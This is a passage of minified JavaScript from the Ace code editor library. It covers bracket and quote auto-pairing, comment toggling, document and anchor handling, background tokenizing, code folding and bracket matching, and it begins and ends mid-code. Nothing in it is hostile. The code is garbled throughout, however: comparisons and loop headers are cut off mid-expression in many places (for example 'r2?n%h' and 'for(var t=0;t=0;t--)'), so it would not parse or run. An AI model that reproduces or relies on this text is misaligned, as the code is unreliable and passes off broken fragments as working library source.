f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}})),this.add("parens","deletion",(function(e,t,i,n,s){var o=n.doc.getTextRange(s);if(!s.isMultiLine()&&"("==o&&(d(i),")"==n.doc.getLine(s.start.row).substring(s.start.column+1,s.start.column+2)))return s.end.column++,s})),this.add("brackets","insertion",(function(e,t,i,n,s){if("["==s){d(i);var o=i.getSelectionRange(),r=n.doc.getTextRange(o);if(""!==r&&i.getWrapBehavioursEnabled())return g(o,r,"[","]");if(f.isSaneInsertion(i,n))return f.recordAutoInsert(i,n,"]"),{text:"[]",selection:[1,1]}}else if("]"==s){d(i);var a=i.getCursorPosition(),l=n.doc.getLine(a.row);if("]"==l.substring(a.column,a.column+1))if(null!==n.$findOpeningBracket("]",{column:a.column+1,row:a.row})&&f.isAutoInsertedClosing(a,l,s))return f.popAutoInsertedClosing(),{text:"",selection:[1,1]}}})),this.add("brackets","deletion",(function(e,t,i,n,s){var o=n.doc.getTextRange(s);if(!s.isMultiLine()&&"["==o&&(d(i),"]"==n.doc.getLine(s.start.row).substring(s.start.column+1,s.start.column+2)))return s.end.column++,s})),this.add("string_dquotes","insertion",(function(e,t,i,n,s){var o=n.$mode.$quotes||u;if(1==s.length&&o[s]){if(this.lineCommentStart&&-1!=this.lineCommentStart.indexOf(s))return;d(i);var r=s,a=i.getSelectionRange(),l=n.doc.getTextRange(a);if(!(""===l||1==l.length&&o[l])&&i.getWrapBehavioursEnabled())return g(a,l,r,r);if(!l){var h=i.getCursorPosition(),c=n.doc.getLine(h.row),f=c.substring(h.column-1,h.column),m=c.substring(h.column,h.column+1),p=n.getTokenAt(h.row,h.column),v=n.getTokenAt(h.row,h.column+1);if("\\"==f&&p&&/escape/.test(p.type))return null;var w,$=p&&/string|escape/.test(p.type),b=!v||/string|escape/.test(v.type);if(m==r)(w=$!==b)&&/string\.end/.test(v.type)&&(w=!1);else{if($&&!b)return null;if($&&b)return null;var y=n.$mode.tokenRe;y.lastIndex=0;var C=y.test(f);y.lastIndex=0;var S=y.test(f);if(C||S)return null;if(m&&!/[\s;,.})\]\\]/.test(m))return null;var x=c[h.column-2];if(f==r&&(x==r||y.test(x)))return null;w=!0}return{text:w?r+r:"",selection:[1,1]}}}})),this.add("string_dquotes","deletion",(function(e,t,i,n,s){var o=n.$mode.$quotes||u,r=n.doc.getTextRange(s);if(!s.isMultiLine()&&o.hasOwnProperty(r)&&(d(i),n.doc.getLine(s.start.row).substring(s.start.column+1,s.start.column+2)==r))return s.end.column++,s}))};f.isSaneInsertion=function(e,t){var i=e.getCursorPosition(),n=new r(t,i.row,i.column);if(!this.$matchTokenType(n.getCurrentToken()||"text",l)){if(/[)}\]]/.test(e.session.getLine(i.row)[i.column]))return!0;var s=new r(t,i.row,i.column+1);if(!this.$matchTokenType(s.getCurrentToken()||"text",l))return!1}return n.stepForward(),n.getCurrentTokenRow()!==i.row||this.$matchTokenType(n.getCurrentToken()||"text",h)},f.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},f.recordAutoInsert=function(e,t,i){var s=e.getCursorPosition(),o=t.doc.getLine(s.row);this.isAutoInsertedClosing(s,o,n.autoInsertedLineEnd[0])||(n.autoInsertedBrackets=0),n.autoInsertedRow=s.row,n.autoInsertedLineEnd=i+o.substr(s.column),n.autoInsertedBrackets++},f.recordMaybeInsert=function(e,t,i){var s=e.getCursorPosition(),o=t.doc.getLine(s.row);this.isMaybeInsertedClosing(s,o)||(n.maybeInsertedBrackets=0),n.maybeInsertedRow=s.row,n.maybeInsertedLineStart=o.substr(0,s.column)+i,n.maybeInsertedLineEnd=o.substr(s.column),n.maybeInsertedBrackets++},f.isAutoInsertedClosing=function(e,t,i){return n.autoInsertedBrackets>0&&e.row===n.autoInsertedRow&&i===n.autoInsertedLineEnd[0]&&t.substr(e.column)===n.autoInsertedLineEnd},f.isMaybeInsertedClosing=function(e,t){return n.maybeInsertedBrackets>0&&e.row===n.maybeInsertedRow&&t.substr(e.column)===n.maybeInsertedLineEnd&&t.substr(0,e.column)==n.maybeInsertedLineStart},f.popAutoInsertedClosing=function(){n.autoInsertedLineEnd=n.autoInsertedLineEnd.substr(1),n.autoInsertedBrackets--},f.clearMaybeInsertedClosing=function(){n&&(n.maybeInsertedBrackets=0,n.maybeInsertedRow=-1)},s.inherits(f,o),t.CstyleBehaviour=f})),define("ace/unicode",["require","exports","module"],(function(e,t,i){"use strict";for(var n=[48,9,8,25,5,0,2,25,48,0,11,0,5,0,6,22,2,30,2,457,5,11,15,4,8,0,2,0,18,116,2,1,3,3,9,0,2,2,2,0,2,19,2,82,2,138,2,4,3,155,12,37,3,0,8,38,10,44,2,0,2,1,2,1,2,0,9,26,6,2,30,10,7,61,2,9,5,101,2,7,3,9,2,18,3,0,17,58,3,100,15,53,5,0,6,45,211,57,3,18,2,5,3,11,3,9,2,1,7,6,2,2,2,7,3,1,3,21,2,6,2,0,4,3,3,8,3,1,3,3,9,0,5,1,2,4,3,11,16,2,2,5,5,1,3,21,2,6,2,1,2,1,2,1,3,0,2,4,5,1,3,2,4,0,8,3,2,0,8,15,12,2,2,8,2,2,2,21,2,6,2,1,2,4,3,9,2,2,2,2,3,0,16,3,3,9,18,2,2,7,3,1,3,21,2,6,2,1,2,4,3,8,3,1,3,2,9,1,5,1,2,4,3,9,2,0,17,1,2,5,4,2,2,3,4,1,2,0,2,1,4,1,4,2,4,11,5,4,4,2,2,3,3,0,7,0,15,9,18,2,2,7,2,2,2,22,2,9,2,4,4,7,2,2,2,3,8,1,2,1,7,3,3,9,19,1,2,7,2,2,2,22,2,9,2,4,3,8,2,2,2,3,8,1,8,0,2,3,3,9,19,1,2,7,2,2,2,22,2,15,4,7,2,2,2,3,10,0,9,3,3,9,11,5,3,1,2,17,4,23,2,8,2,0,3,6,4,0,5,5,2,0,2,7,19,1,14,57,6,14,2,9,40,1,2,0,3,1,2,0,3,0,7,3,2,6,2,2,2,0,2,0,3,1,2,12,2,2,3,4,2,0,2,5,3,9,3,1,35,0,24,1,7,9,12,0,2,0,2,0,5,9,2,35,5,19,2,5,5,7,2,35,10,0,58,73,7,77,3,37,11,42,2,0,4,328,2,3,3,6,2,0,2,3,3,40,2,3,3,32,2,3,3,6,2,0,2,3,3,14,2,56,2,3,3,66,5,0,33,15,17,84,13,619,3,16,2,25,6,74,22,12,2,6,12,20,12,19,13,12,2,2,2,1,13,51,3,29,4,0,5,1,3,9,34,2,3,9,7,87,9,42,6,69,11,28,4,11,5,11,11,39,3,4,12,43,5,25,7,10,38,27,5,62,2,28,3,10,7,9,14,0,89,75,5,9,18,8,13,42,4,11,71,55,9,9,4,48,83,2,2,30,14,230,23,280,3,5,3,37,3,5,3,7,2,0,2,0,2,0,2,30,3,52,2,6,2,0,4,2,2,6,4,3,3,5,5,12,6,2,2,6,67,1,20,0,29,0,14,0,17,4,60,12,5,0,4,11,18,0,5,0,3,9,2,0,4,4,7,0,2,0,2,0,2,3,2,10,3,3,6,4,5,0,53,1,2684,46,2,46,2,132,7,6,15,37,11,53,10,0,17,22,10,6,2,6,2,6,2,6,2,6,2,6,2,6,2,6,2,31,48,0,470,1,36,5,2,4,6,1,5,85,3,1,3,2,2,89,2,3,6,40,4,93,18,23,57,15,513,6581,75,20939,53,1164,68,45,3,268,4,27,21,31,3,13,13,1,2,24,9,69,11,1,38,8,3,102,3,1,111,44,25,51,13,68,12,9,7,23,4,0,5,45,3,35,13,28,4,64,15,10,39,54,10,13,3,9,7,22,4,1,5,66,25,2,227,42,2,1,3,9,7,11171,13,22,5,48,8453,301,3,61,3,105,39,6,13,4,6,11,2,12,2,4,2,0,2,1,2,1,2,107,34,362,19,63,3,53,41,11,5,15,17,6,13,1,25,2,33,4,2,134,20,9,8,25,5,0,2,25,12,88,4,5,3,5,3,5,3,2],s=0,o=[],r=0;r2?n%h!=h-1:n%h==0})}else{if(!this.blockComment)return!1;var g=this.blockComment.start,f=this.blockComment.end,m=new RegExp("^(\\s*)(?:"+l.escapeRegExp(g)+")"),p=new RegExp("(?:"+l.escapeRegExp(f)+")\\s*$"),v=function(e,t){$(e,t)||o&&!/\S/.test(e)||(s.insertInLine({row:t,column:e.length},f),s.insertInLine({row:t,column:a},g))},w=function(e,t){var i;(i=e.match(p))&&s.removeInLine(t,e.length-i[0].length,e.length),(i=e.match(m))&&s.removeInLine(t,i[1].length,i[0].length)},$=function(e,i){if(m.test(e))return!0;for(var n=t.getTokens(i),s=0;se.length&&(y=e.length)})),a==1/0&&(a=y,o=!1,r=!1),c&&a%h!=0&&(a=Math.floor(a/h)*h),b(r?w:v)},this.toggleBlockComment=function(e,t,i,n){var s=this.blockComment;if(s){!s.start&&s[0]&&(s=s[0]);var o,r,a=(m=new h(t,n.row,n.column)).getCurrentToken(),l=(t.selection,t.selection.toOrientedRange());if(a&&/comment/.test(a.type)){for(var u,d;a&&/comment/.test(a.type);){if(-1!=(p=a.value.indexOf(s.start))){var g=m.getCurrentTokenRow(),f=m.getCurrentTokenColumn()+p;u=new c(g,f,g,f+s.start.length);break}a=m.stepBackward()}var m;for(a=(m=new h(t,n.row,n.column)).getCurrentToken();a&&/comment/.test(a.type);){var p;if(-1!=(p=a.value.indexOf(s.end))){g=m.getCurrentTokenRow(),f=m.getCurrentTokenColumn()+p;d=new c(g,f,g,f+s.end.length);break}a=m.stepForward()}d&&t.remove(d),u&&(t.remove(u),o=u.start.row,r=-s.start.length)}else r=s.start.length,o=i.start.row,t.insert(i.end,s.end),t.insert(i.start,s.start);l.start.row==o&&(l.start.column+=r),l.end.row==o&&(l.end.column+=r),t.selection.fromOrientedRange(l)}},this.getNextLineIndent=function(e,t,i){return this.$getIndent(t)},this.checkOutdent=function(e,t,i){return!1},this.autoOutdent=function(e,t,i){},this.$getIndent=function(e){return e.match(/^\s*/)[0]},this.createWorker=function(e){return null},this.createModeDelegates=function(e){for(var t in this.$embeds=[],this.$modes={},e)if(e[t]){var i=e[t],s=i.prototype.$id,o=n.$modes[s];o||(n.$modes[s]=o=new i),n.$modes[t]||(n.$modes[t]=o),this.$embeds.push(t),this.$modes[t]=o}var r=["toggleBlockComment","toggleCommentLines","getNextLineIndent","checkOutdent","autoOutdent","transformAction","getCompletions"];for(t=0;tthis.row)){var i=function(t,i,n){var s="insert"==t.action,o=(s?1:-1)*(t.end.row-t.start.row),r=(s?1:-1)*(t.end.column-t.start.column),a=t.start,l=s?a:t.end;if(e(i,a,n))return{row:i.row,column:i.column};if(e(l,i,!n))return{row:i.row+o,column:i.column+(i.row==l.row?r:0)};return{row:a.row,column:a.column}}(t,{row:this.row,column:this.column},this.$insertRight);this.setPosition(i.row,i.column,!0)}},this.setPosition=function(e,t,i){var n;if(n=i?{row:e,column:t}:this.$clipPositionToDocument(e,t),this.row!=n.row||this.column!=n.column){var s={row:this.row,column:this.column};this.row=n.row,this.column=n.column,this._signal("change",{old:s,value:n})}},this.detach=function(){this.document.off("change",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on("change",this.$onChange)},this.$clipPositionToDocument=function(e,t){var i={};return e>=this.document.getLength()?(i.row=Math.max(0,this.document.getLength()-1),i.column=this.document.getLine(i.row).length):e<0?(i.row=0,i.column=0):(i.row=e,i.column=Math.min(this.document.getLine(i.row).length,Math.max(0,t))),t<0&&(i.column=0),i}}).call(o.prototype)})),define("ace/document",["require","exports","module","ace/lib/oop","ace/apply_delta","ace/lib/event_emitter","ace/range","ace/anchor"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./apply_delta").applyDelta,o=e("./lib/event_emitter").EventEmitter,r=e("./range").Range,a=e("./anchor").Anchor,l=function(e){this.$lines=[""],0===e.length?this.$lines=[""]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){n.implement(this,o),this.setValue=function(e){var t=this.getLength()-1;this.remove(new r(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new a(this,e,t)},0==="aaa".split(/a/).length?this.$split=function(e){return e.replace(/\r\n|\r/g,"\n").split("\n")}:this.$split=function(e){return e.split(/\r\n|\r|\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\r\n|\r|\n)/m);this.$autoNewLine=t?t[1]:"\n",this._signal("changeNewLineMode")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case"windows":return"\r\n";case"unix":return"\n";default:return this.$autoNewLine||"\n"}},this.$autoNewLine="",this.$newLineMode="auto",this.setNewLineMode=function(e){this.$newLineMode!==e&&(this.$newLineMode=e,this._signal("changeNewLineMode"))},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return"\r\n"==e||"\r"==e||"\n"==e},this.getLine=function(e){return this.$lines[e]||""},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{(t=this.getLines(e.start.row,e.end.row))[0]=(t[0]||"").substring(e.start.column);var i=t.length-1;e.end.row-e.start.row==i&&(t[i]=t[i].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn("Use of document.insertLines is deprecated. Use the insertFullLines method instead."),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn("Use of document.removeLines is deprecated. Use the removeFullLines method instead."),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn("Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead."),this.insertMergedLines(e,["",""])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var i=this.clippedPos(e.row,e.column),n=this.pos(e.row,e.column+t.length);return this.applyDelta({start:i,end:n,action:"insert",lines:[t]},!0),this.clonePos(n)},this.clippedPos=function(e,t){var i=this.getLength();void 0===e?e=i:e<0?e=0:e>=i&&(e=i-1,t=void 0);var n=this.getLine(e);return null==t&&(t=n.length),{row:e,column:t=Math.min(Math.max(t,0),n.length)}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){var i=0;(e=Math.min(Math.max(e,0),this.getLength()))0,n=t=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:"remove",lines:["",""]})},this.replace=function(e,t){return e instanceof r||(e=r.fromPoints(e.start,e.end)),0===t.length&&e.isEmpty()?e.start:t==this.getTextRange(e)?e.end:(this.remove(e),t?this.insert(e.start,t):e.start)},this.applyDeltas=function(e){for(var t=0;t=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var i="insert"==e.action;(i?e.lines.length<=1&&!e.lines[0]:!r.comparePoints(e.start,e.end))||(i&&e.lines.length>2e4?this.$splitAndapplyLargeDelta(e,2e4):(s(this.$lines,e,t),this._signal("change",e)))},this.$safeApplyDelta=function(e){var t=this.$lines.length;("remove"==e.action&&e.start.row20){i.running=setTimeout(i.$worker,20);break}}i.currentLine=t,-1==n&&(n=t),o<=n&&i.fireUpdateEvent(o,n)}}};(function(){n.implement(this,s),this.setTokenizer=function(e){this.tokenizer=e,this.lines=[],this.states=[],this.start(0)},this.setDocument=function(e){this.doc=e,this.lines=[],this.states=[],this.stop()},this.fireUpdateEvent=function(e,t){var i={first:e,last:t};this._signal("update",{data:i})},this.start=function(e){this.currentLine=Math.min(e||0,this.currentLine,this.doc.getLength()),this.lines.splice(this.currentLine,this.lines.length),this.states.splice(this.currentLine,this.states.length),this.stop(),this.running=setTimeout(this.$worker,700)},this.scheduleStart=function(){this.running||(this.running=setTimeout(this.$worker,700))},this.$updateOnChange=function(e){var t=e.start.row,i=e.end.row-t;if(0===i)this.lines[t]=null;else if("remove"==e.action)this.lines.splice(t,i+1,null),this.states.splice(t,i+1,null);else{var n=Array(i+1);n.unshift(t,1),this.lines.splice.apply(this.lines,n),this.states.splice.apply(this.states,n)}this.currentLine=Math.min(t,this.currentLine,this.doc.getLength()),this.stop()},this.stop=function(){this.running&&clearTimeout(this.running),this.running=!1},this.getTokens=function(e){return this.lines[e]||this.$tokenizeRow(e)},this.getState=function(e){return this.currentLine==e&&this.$tokenizeRow(e),this.states[e]||"start"},this.$tokenizeRow=function(e){var t=this.doc.getLine(e),i=this.states[e-1],n=this.tokenizer.getLineTokens(t,i,e);return this.states[e]+""!=n.state+""?(this.states[e]=n.state,this.lines[e+1]=null,this.currentLine>e+1&&(this.currentLine=e+1)):this.currentLine==e&&(this.currentLine=e+1),this.lines[e]=n.tokens},this.cleanup=function(){this.running=!1,this.lines=[],this.states=[],this.currentLine=0,this.removeAllListeners()}}).call(o.prototype),t.BackgroundTokenizer=o})),define("ace/search_highlight",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"],(function(e,t,i){"use strict";var n=e("./lib/lang"),s=(e("./lib/oop"),e("./range").Range),o=function(e,t,i){this.setRegexp(e),this.clazz=t,this.type=i||"text"};(function(){this.MAX_RANGES=500,this.setRegexp=function(e){this.regExp+""!=e+""&&(this.regExp=e,this.cache=[])},this.update=function(e,t,i,o){if(this.regExp)for(var r=o.firstRow,a=o.lastRow,l={},h=r;h<=a;h++){var c=this.cache[h];null==c&&((c=n.getMatchOffsets(i.getLine(h),this.regExp)).length>this.MAX_RANGES&&(c=c.slice(0,this.MAX_RANGES)),c=c.map((function(e){return new s(h,e.offset,h,e.offset+e.length)})),this.cache[h]=c.length?c:"");for(var u=c.length;u--;){var d=c[u].toScreenRange(i),g=d.toString();l[g]||(l[g]=!0,t.drawSingleLineMarker(e,d,this.clazz,o))}}}}).call(o.prototype),t.SearchHighlight=o})),define("ace/edit_session/fold_line",["require","exports","module","ace/range"],(function(e,t,i){"use strict";var n=e("../range").Range;function s(e,t){this.foldData=e,Array.isArray(t)?this.folds=t:t=this.folds=[t];var i=t[t.length-1];this.range=new n(t[0].start.row,t[0].start.column,i.end.row,i.end.column),this.start=this.range.start,this.end=this.range.end,this.folds.forEach((function(e){e.setFoldLine(this)}),this)}(function(){this.shiftRow=function(e){this.start.row+=e,this.end.row+=e,this.folds.forEach((function(t){t.start.row+=e,t.end.row+=e}))},this.addFold=function(e){if(e.sameRow){if(e.start.rowthis.endRow)throw new Error("Can't add a fold to this FoldLine as it has no connection");this.folds.push(e),this.folds.sort((function(e,t){return-e.range.compareEnd(t.start.row,t.start.column)})),this.range.compareEnd(e.start.row,e.start.column)>0?(this.end.row=e.end.row,this.end.column=e.end.column):this.range.compareStart(e.end.row,e.end.column)<0&&(this.start.row=e.start.row,this.start.column=e.start.column)}else if(e.start.row==this.end.row)this.folds.push(e),this.end.row=e.end.row,this.end.column=e.end.column;else{if(e.end.row!=this.start.row)throw new Error("Trying to add fold to FoldRow that doesn't have a matching row");this.folds.unshift(e),this.start.row=e.start.row,this.start.column=e.start.column}e.foldLine=this},this.containsRow=function(e){return e>=this.start.row&&e<=this.end.row},this.walk=function(e,t,i){var n,s,o=0,r=this.folds,a=!0;null==t&&(t=this.end.row,i=this.end.column);for(var l=0;l0)){var l=n(e,r.start);return 0===a?t&&0!==l?-o-2:o:l>0||0===l&&!t?o:-o-1}}return-o-1},this.add=function(e){var t=!e.isEmpty(),i=this.pointIndex(e.start,t);i<0&&(i=-i-1);var n=this.pointIndex(e.end,t,i);return n<0?n=-n-1:n++,this.ranges.splice(i,n-i,e)},this.addList=function(e){for(var t=[],i=e.length;i--;)t.push.apply(t,this.add(e[i]));return t},this.substractPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges.splice(t,1)},this.merge=function(){for(var e,t=[],i=this.ranges,s=(i=i.sort((function(e,t){return n(e.start,t.start)})))[0],o=1;o=0},this.containsPoint=function(e){return this.pointIndex(e)>=0},this.rangeAtPoint=function(e){var t=this.pointIndex(e);if(t>=0)return this.ranges[t]},this.clipRows=function(e,t){var i=this.ranges;if(i[0].start.row>t||i[i.length-1].start.row=n)break}if("insert"==e.action)for(var l=s-n,h=-t.column+i.column;rn)break;if(c.start.row==n&&c.start.column>=t.column&&(c.start.column==t.column&&this.$bias<=0||(c.start.column+=h,c.start.row+=l)),c.end.row==n&&c.end.column>=t.column){if(c.end.column==t.column&&this.$bias<0)continue;c.end.column==t.column&&h>0&&rc.start.column&&c.end.column==o[r+1].start.column&&(c.end.column-=h),c.end.column+=h,c.end.row+=l}}else for(l=n-s,h=t.column-i.column;rs)break;c.end.rowt.column)&&(c.end.column=t.column,c.end.row=t.row):(c.end.column+=h,c.end.row+=l):c.end.row>s&&(c.end.row+=l),c.start.rowt.column)&&(c.start.column=t.column,c.start.row=t.row):(c.start.column+=h,c.start.row+=l):c.start.row>s&&(c.start.row+=l)}if(0!=l&&r=e)return s;if(s.end.row>e)return null}return null},this.getNextFoldLine=function(e,t){var i=this.$foldData,n=0;for(t&&(n=i.indexOf(t)),-1==n&&(n=0);n=e)return s}return null},this.getFoldedRowCount=function(e,t){for(var i=this.$foldData,n=t-e+1,s=0;s=t){a=e?n-=t-a:n=0);break}r>=e&&(n-=a>=e?r-a:r-e+1)}return n},this.$addFoldLine=function(e){return this.$foldData.push(e),this.$foldData.sort((function(e,t){return e.start.row-t.start.row})),e},this.addFold=function(e,t){var i,n=this.$foldData,r=!1;e instanceof o?i=e:(i=new o(t,e)).collapseChildren=t.collapseChildren,this.$clipRangeToDocument(i.range);var a=i.start.row,l=i.start.column,h=i.end.row,c=i.end.column,u=this.getFoldAt(a,l,1),d=this.getFoldAt(h,c,-1);if(u&&d==u)return u.addSubFold(i);u&&!u.range.isStart(a,l)&&this.removeFold(u),d&&!d.range.isEnd(h,c)&&this.removeFold(d);var g=this.getFoldsInRange(i.range);g.length>0&&(this.removeFolds(g),i.collapseChildren||g.forEach((function(e){i.addSubFold(e)})));for(var f=0;f0&&this.foldAll(e.start.row+1,e.end.row,e.collapseChildren-1),e.subFolds=[]},this.expandFolds=function(e){e.forEach((function(e){this.expandFold(e)}),this)},this.unfold=function(e,t){var i,s;if(null==e)i=new n(0,0,this.getLength(),0),null==t&&(t=!0);else if("number"==typeof e)i=new n(e,0,e,this.getLine(e).length);else if("row"in e)i=n.fromPoints(e,e);else{if(Array.isArray(e))return s=[],e.forEach((function(e){s=s.concat(this.unfold(e))}),this),s;i=e}for(var o=s=this.getFoldsInRangeList(i);1==s.length&&n.comparePoints(s[0].start,i.start)<0&&n.comparePoints(s[0].end,i.end)>0;)this.expandFolds(s),s=this.getFoldsInRangeList(i);if(0!=t?this.removeFolds(s):this.expandFolds(s),o.length)return o},this.isRowFolded=function(e,t){return!!this.getFoldLine(e,t)},this.getRowFoldEnd=function(e,t){var i=this.getFoldLine(e,t);return i?i.end.row:e},this.getRowFoldStart=function(e,t){var i=this.getFoldLine(e,t);return i?i.start.row:e},this.getFoldDisplayLine=function(e,t,i,n,s){null==n&&(n=e.start.row),null==s&&(s=0),null==t&&(t=e.end.row),null==i&&(i=this.getLine(t).length);var o=this.doc,r="";return e.walk((function(e,t,i,a){if(!(tc)break}while(o&&l.test(o.type));o=s.stepBackward()}else o=s.getCurrentToken();return h.end.row=s.getCurrentTokenRow(),h.end.column=s.getCurrentTokenColumn()+o.value.length-2,h}},this.foldAll=function(e,t,i,n){null==i&&(i=1e5);var s=this.foldWidgets;if(s){t=t||this.getLength();for(var o=e=e||0;o=e&&(o=r.end.row,r.collapseChildren=i,this.addFold("...",r))}}},this.foldToLevel=function(e){for(this.foldAll();e-- >0;)this.unfold(null,!1)},this.foldAllComments=function(){var e=this;this.foldAll(null,null,null,(function(t){for(var i=e.getTokens(t),n=0;n=0;){var o=i[s];if(null==o&&(o=i[s]=this.getFoldWidget(s)),"start"==o){var r=this.getFoldWidgetRange(s);if(n||(n=r),r&&r.end.row>=e)break}s--}return{range:-1!==s&&r,firstRange:n}},this.onFoldWidgetClick=function(e,t){var i={children:(t=t.domEvent).shiftKey,all:t.ctrlKey||t.metaKey,siblings:t.altKey};if(!this.$toggleFoldWidget(e,i)){var n=t.target||t.srcElement;n&&/ace_fold-widget/.test(n.className)&&(n.className+=" ace_invalid")}},this.$toggleFoldWidget=function(e,t){if(this.getFoldWidget){var i=this.getFoldWidget(e),n=this.getLine(e),s="end"===i?-1:1,o=this.getFoldAt(e,-1===s?0:n.length,s);if(o)return t.children||t.all?this.removeFold(o):this.expandFold(o),o;var r=this.getFoldWidgetRange(e,!0);if(r&&!r.isMultiLine()&&(o=this.getFoldAt(r.start.row,r.start.column,1))&&r.isEqual(o.range))return this.removeFold(o),o;if(t.siblings){var a=this.getParentFoldRangeData(e);if(a.range)var l=a.range.start.row+1,h=a.range.end.row;this.foldAll(l,h,t.all?1e4:0)}else t.children?(h=r?r.end.row:this.getLength(),this.foldAll(e+1,h,t.all?1e4:0)):r&&(t.all&&(r.collapseChildren=1e4),this.addFold("...",r));return r}},this.toggleFoldWidget=function(e){var t=this.selection.getCursor().row;t=this.getRowFoldStart(t);var i=this.$toggleFoldWidget(t,{});if(!i){var n=this.getParentFoldRangeData(t,!0);if(i=n.range||n.firstRange){t=i.start.row;var s=this.getFoldAt(t,this.getLine(t).length,1);s?this.removeFold(s):this.addFold("...",i)}}},this.updateFoldWidgets=function(e){var t=e.start.row,i=e.end.row-t;if(0===i)this.foldWidgets[t]=null;else if("remove"==e.action)this.foldWidgets.splice(t,i+1,null);else{var n=Array(i+1);n.unshift(t,1),this.foldWidgets.splice.apply(this.foldWidgets,n)}},this.tokenizerUpdateFoldWidgets=function(e){var t=e.data;t.first!=t.last&&this.foldWidgets.length>t.first&&this.foldWidgets.splice(t.first,this.foldWidgets.length)}}})),define("ace/edit_session/bracket_match",["require","exports","module","ace/token_iterator","ace/range"],(function(e,t,i){"use strict";var n=e("../token_iterator").TokenIterator,s=e("../range").Range;t.BracketMatch=function(){this.findMatchingBracket=function(e,t){if(0==e.column)return null;var i=t||this.getLine(e.row).charAt(e.column-1);if(""==i)return null;var n=i.match(/([\(\[\{])|([\)\]\}])/);return n?n[1]?this.$findClosingBracket(n[1],e):this.$findOpeningBracket(n[2],e):null},this.getBracketRange=function(e){var t,i=this.getLine(e.row),n=!0,o=i.charAt(e.column-1),r=o&&o.match(/([\(\[\{])|([\)\]\}])/);if(r||(o=i.charAt(e.column),e={row:e.row,column:e.column+1},r=o&&o.match(/([\(\[\{])|([\)\]\}])/),n=!1),!r)return null;if(r[1]){if(!(a=this.$findClosingBracket(r[1],e)))return null;t=s.fromPoints(e,a),n||(t.end.column++,t.start.column--),t.cursor=t.end}else{var a;if(!(a=this.$findOpeningBracket(r[2],e)))return null;t=s.fromPoints(a,e),n||(t.start.column++,t.end.column--),t.cursor=t.start}return t},this.getMatchingBracketRanges=function(e){var t=this.getLine(e.row),i=t.charAt(e.column-1),n=i&&i.match(/([\(\[\{])|([\)\]\}])/);if(n||(i=t.charAt(e.column),e={row:e.row,column:e.column+1},n=i&&i.match(/([\(\[\{])|([\)\]\}])/)),!n)return null;var o=new s(e.row,e.column-1,e.row,e.column),r=n[1]?this.$findClosingBracket(n[1],e):this.$findOpeningBracket(n[2],e);return r?[o,new s(r.row,r.column,r.row,r.column+1)]:[o]},this.$brackets={")":"(","(":")","]":"[","[":"]","{":"}","}":"{","<":">",">":"<"},this.$findOpeningBracket=function(e,t,i){var s=this.$brackets[e],o=1,r=new n(this,t.row,t.column),a=r.getCurrentToken();if(a||(a=r.stepForward()),a){i||(i=new RegExp("(\\.?"+a.type.replace(".","\\.").replace("rparen",".paren").replace(/\b(?:end)\b/,"(?:start|begin|end)")+")+"));for(var l=t.column-r.getCurrentTokenColumn()-2,h=a.value;;){for(;l>=0;){var c=h.charAt(l);if(c==s){if(0==(o-=1))return{row:r.getCurrentTokenRow(),column:l+r.getCurrentTokenColumn()}}else c==e&&(o+=1);l-=1}do{a=r.stepBackward()}while(a&&!i.test(a.type));if(null==a)break;l=(h=a.value).length-1}return null}},this.$findClosingBracket=function(e,t,i){var s=this.$brackets[e],o=1,r=new n(this,t.row,t.column),a=r.getCurrentToken();if(a||(a=r.stepForward()),a){i||(i=new RegExp("(\\.?"+a.type.replace(".","\\.").replace("lparen",".paren").replace(/\b(?:start|begin)\b/,"(?:start|begin|end)")+")+"));for(var l=t.column-r.getCurrentTokenColumn();;){for(var h=a.value,c=h.length;li&&(this.$docRowCache.splice(i,t),this.$screenRowCache.splice(i,t))},this.$getRowCacheIndex=function(e,t){for(var i=0,n=e.length-1;i<=n;){var s=i+n>>1,o=e[s];if(t>o)i=s+1;else{if(!(t=t);o++);return(i=n[o])?(i.index=o,i.start=s-i.value.length,i):null},this.setUndoManager=function(e){if(this.$undoManager=e,this.$informUndoManager&&this.$informUndoManager.cancel(),e){var t=this;e.addSession(this),this.$syncInformUndoManager=function(){t.$informUndoManager.cancel(),t.mergeUndoDeltas=!1},this.$informUndoManager=s.delayedCall(this.$syncInformUndoManager)}else this.$syncInformUndoManager=function(){}},this.markUndoGroup=function(){this.$syncInformUndoManager&&this.$syncInformUndoManager()},this.$defaultUndoManager={undo:function(){},redo:function(){},hasUndo:function(){},hasRedo:function(){},reset:function(){},add:function(){},addSelection:function(){},startNewGroup:function(){},addSession:function(){}},this.getUndoManager=function(){return this.$undoManager||this.$defaultUndoManager},this.getTabString=function(){return this.getUseSoftTabs()?s.stringRepeat(" 